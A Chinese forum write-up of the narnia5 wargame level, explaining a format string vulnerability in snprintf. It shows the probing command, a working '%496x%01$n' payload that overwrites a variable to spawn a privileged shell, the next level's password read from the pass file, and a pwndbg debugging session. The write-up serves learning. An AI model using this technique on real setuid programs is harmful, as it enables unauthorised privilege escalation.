-
-
[原创]WarGame-narnia5 解题思路
-
2019-7-30 15:11 6871
-
Narnia5源码如下
/* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv){ int i = 1; char buffer[64]; snprintf(buffer, sizeof buffer, argv[1]); buffer[sizeof (buffer) - 1] = 0; printf("Change i's value from 1 -> 500. "); if(i==500){ printf("GOOD\n"); setreuid(geteuid(),geteuid()); system("/bin/sh"); } printf("No way...let me give you a hint!\n"); printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); printf ("i = %d (%p)\n", i, &i); return 0; }
这个游戏引入了一个新的漏洞,格式化字符串漏洞,从前我在玩看雪CTF时也遇到过同样的漏洞,但是看writeup时一直不知道这种漏洞利用时的转义字符是什么意思,很多大佬也不给解释;这个级别的游戏花了我两天多的时间来学习这个漏洞的基本知识;注意观察源码中的snprintf函数,他没有对用户输入的参数做过滤,从而导致了任意地址读写,当我们修改了i的值为500时,就能获得一个shell,和之前级别的栈溢出不同的是,格式化字符串一次只能改一个值(就像是狙击),在狙击之前要确定修改后的值、变量的地址和储存变量地址的地址,从源码来看,修改后的值为500,调试如下
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\x43\x43\x43\x43%p%p%p%p%p%p%p%p"') Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [CCCC0x434343430x333478300x333433340x783033340x343333330x3033383] (63) i = 1 (0xffffd6e0) narnia5@narnia:/narnia$
%p是为了要打印栈中的地址,因为要找到储存要写入的地址的地址(有点儿绕),参数里前4个字节就是要写入的地址,%p是为了找到储存要写入的地址在栈中是第几个,这个游戏为了迎合新人,就直接把要写入的地址放在了第一个,实际中,放到几百个以后都是有可能的,在writeup的最后我会展现如何在gdb中寻找所需的地址位置的方法,实际利用方法如下
narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xe0\xd6\xff\xff%496x%01$n"') Change i's value from 1 -> 500. GOOD $ whoami narnia6 $ cat /etc/narnia_pass/narnia6 neezocaeng $
因为这是我第一次真正的做格式化字符串漏洞,并且也学习了很长时间,所以我会详细的讲下每个参数的意思,从源码来看每次i在打印时会将i的值和i的地址同时打印出来,因为没开ASLR,所以i的地址不会改变,第一个参数就是i的实际地址,第二部分’%496x’测试要写入的数据,因为前面已经有四个字节的地址了,所以应该是500-4=496,最后的’%01$n’则是代表要写入的位置是第一个(n是写入的意思),实际使用gdb调试结果如下(我用的是Ubuntu18.04 64位,pwndbg)
root@gavin:/home/gavin/warGame/narnia# gdb -q narnia5 pwndbg: loaded 179 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from narnia5...(no debugging symbols found)...done. pwndbg> disassemble main Dump of assembler code for function main: 0x0804850b <+0>: push ebp 0x0804850c <+1>: mov ebp,esp 0x0804850e <+3>: push ebx 0x0804850f <+4>: sub esp,0x44 0x08048512 <+7>: mov DWORD PTR [ebp-0x8],0x1 0x08048519 <+14>: mov eax,DWORD PTR [ebp+0xc] 0x0804851c <+17>: add eax,0x4 0x0804851f <+20>: mov eax,DWORD PTR [eax] 0x08048521 <+22>: push eax 0x08048522 <+23>: push 0x40 0x08048524 <+25>: lea eax,[ebp-0x48] 0x08048527 <+28>: push eax 0x08048528 <+29>: call 0x80483f0 <snprintf@plt> 0x0804852d <+34>: add esp,0xc 0x08048530 <+37>: mov BYTE PTR [ebp-0x9],0x0 0x08048534 <+41>: push 0x8048650 0x08048539 <+46>: call 0x8048380 <printf@plt> 0x0804853e <+51>: add esp,0x4 0x08048541 <+54>: mov eax,DWORD PTR [ebp-0x8] 0x08048544 <+57>: cmp eax,0x1f4 0x08048549 <+62>: jne 0x804857b <main+112> 0x0804854b <+64>: push 0x8048671 0x08048550 <+69>: call 0x80483a0 <puts@plt> 0x08048555 <+74>: add esp,0x4 0x08048558 <+77>: call 0x8048390 <geteuid@plt> 0x0804855d <+82>: mov ebx,eax 0x0804855f <+84>: call 0x8048390 <geteuid@plt> 0x08048564 <+89>: push ebx 0x08048565 <+90>: push eax 0x08048566 <+91>: call 0x80483c0 <setreuid@plt> 0x0804856b <+96>: add esp,0x8 0x0804856e <+99>: push 0x8048676 0x08048573 <+104>: call 0x80483b0 <system@plt> 0x08048578 <+109>: add esp,0x4 0x0804857b <+112>: push 0x8048680 0x08048580 <+117>: call 0x80483a0 <puts@plt> 0x08048585 <+122>: add esp,0x4 0x08048588 <+125>: lea eax,[ebp-0x48] 0x0804858b <+128>: push eax 0x0804858c <+129>: call 0x80483d0 <strlen@plt> 0x08048591 <+134>: add esp,0x4 0x08048594 <+137>: push eax 0x08048595 <+138>: lea eax,[ebp-0x48] 0x08048598 <+141>: push eax 0x08048599 <+142>: push 0x80486a1 0x0804859e <+147>: call 0x8048380 <printf@plt> 0x080485a3 <+152>: add esp,0xc 0x080485a6 <+155>: mov eax,DWORD PTR [ebp-0x8] 0x080485a9 <+158>: lea edx,[ebp-0x8] 0x080485ac <+161>: push edx 0x080485ad <+162>: push eax 0x080485ae <+163>: push 0x80486b5 0x080485b3 <+168>: call 0x8048380 <printf@plt> 0x080485b8 <+173>: add esp,0xc 0x080485bb <+176>: mov eax,0x0 0x080485c0 <+181>: mov ebx,DWORD PTR [ebp-0x4] 0x080485c3 <+184>: leave 0x080485c4 <+185>: ret End of assembler dump. pwndbg> b *0x8048528 Breakpoint 1 at 0x8048528 pwndbg> r $(python -c 'print "\x43\x43\x43\x43%p%p%p%p%p"') Starting program: /home/gavin/warGame/narnia/narnia5 $(python -c 'print "\x43\x43\x43\x43%p%p%p%p%p"') Breakpoint 1, 0x08048528 in main () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────── EAX 0xffffd510 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c EBX 0x0 ECX 0x340fcec6 EDX 0xffffd584 ◂— 0x0 EDI 0x0 ESI 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c EBP 0xffffd558 ◂— 0x0 ESP 0xffffd504 —▸ 0xffffd510 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c EIP 0x8048528 (main+29) —▸ 0xfffec3e8 ◂— 0x0 ─────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────── ► 0x8048528 <main+29> call snprintf@plt <0x80483f0> s: 0xffffd510 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c maxlen: 0x40 format: 0xffffd769 ◂— 'CCCC%p%p%p%p%p' vararg: 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c 0x804852d <main+34> add esp, 0xc 0x8048530 <main+37> mov byte ptr [ebp - 9], 0 0x8048534 <main+41> push 0x8048650 0x8048539 <main+46> call printf@plt <0x8048380> 0x804853e <main+51> add esp, 4 0x8048541 <main+54> mov eax, dword ptr [ebp - 8] 0x8048544 <main+57> cmp eax, 0x1f4 0x8048549 <main+62> jne main+112 <0x804857b> 0x804854b <main+64> push 0x8048671 0x8048550 <main+69> call puts@plt <0x80483a0> ──────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────── 00:0000│ esp 0xffffd504 —▸ 0xffffd510 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c 01:0004│ 0xffffd508 ◂— 0x40 /* '@' */ 02:0008│ 0xffffd50c —▸ 0xffffd769 ◂— 'CCCC%p%p%p%p%p' 03:000c│ eax 0xffffd510 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c ... ↓ 05:0014│ 0xffffd518 ◂— 0x0 06:0018│ 0xffffd51c —▸ 0xf7e0a60b (__internal_atexit+59) ◂— add esp, 0x10 07:001c│ 0xffffd520 —▸ 0xf7fb23fc (__exit_funcs) —▸ 0xf7fb3200 (initial) ◂— 0x0 ────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────── ► f 0 8048528 main+29 f 1 f7df2e81 __libc_start_main+241 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Breakpoint *0x8048528 pwndbg> n 0x0804852d in main () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────── EAX 0x36 EBX 0x0 ECX 0x0 EDX 0xffffd546 ◂— 0x85d90000 EDI 0x0 ESI 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c EBP 0xffffd558 ◂— 0x0 ESP 0xffffd504 —▸ 0xffffd510 ◂— 'CCCC0x434343430x333478300x333433340x783033340x34333333' EIP 0x804852d (main+34) ◂— add esp, 0xc ─────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────── 0x8048528 <main+29> call snprintf@plt <0x80483f0> ► 0x804852d <main+34> add esp, 0xc 0x8048530 <main+37> mov byte ptr [ebp - 9], 0 0x8048534 <main+41> push 0x8048650 0x8048539 <main+46> call printf@plt <0x8048380> 0x804853e <main+51> add esp, 4 0x8048541 <main+54> mov eax, dword ptr [ebp - 8] 0x8048544 <main+57> cmp eax, 0x1f4 0x8048549 <main+62> jne main+112 <0x804857b> 0x804854b <main+64> push 0x8048671 0x8048550 <main+69> call puts@plt <0x80483a0> ──────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────── 00:0000│ esp 0xffffd504 —▸ 0xffffd510 ◂— 'CCCC0x434343430x333478300x333433340x783033340x34333333' 01:0004│ 0xffffd508 ◂— 0x40 /* '@' */ 02:0008│ 0xffffd50c —▸ 0xffffd769 ◂— 'CCCC%p%p%p%p%p' 03:000c│ 0xffffd510 ◂— 'CCCC0x434343430x333478300x333433340x783033340x34333333' 04:0010│ 0xffffd514 ◂— '0x434343430x333478300x333433340x783033340x34333333' 05:0014│ 0xffffd518 ◂— '4343430x333478300x333433340x783033340x34333333' 06:0018│ 0xffffd51c ◂— '430x333478300x333433340x783033340x34333333' 07:001c│ 0xffffd520 ◂— '333478300x333433340x783033340x34333333' ────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────── ► f 0 804852d main+34 f 1 f7df2e81 __libc_start_main+241 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x/20x $esp 0xffffd504: 0xffffd510 0x00000040 0xffffd769 0x43434343 0xffffd514: 0x33347830 0x33343334 0x78303334 0x34333333 0xffffd524: 0x30333837 0x33337830 0x33333433 0x78303433 0xffffd534: 0x30333837 0x34333333 0x34337830 0x33333333 0xffffd544: 0x00003333 0x080485d9 0x00000000 0x00000001 pwndbg>
正如栈中显示的,输入的四个’\x43’并不是栈中的第一个值,所以之前并没有说是栈中的第一个,只是打印出来是第一个,注意断点是下在snprintf处,所以要等执行完snprintf函数后,才能打印出来
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!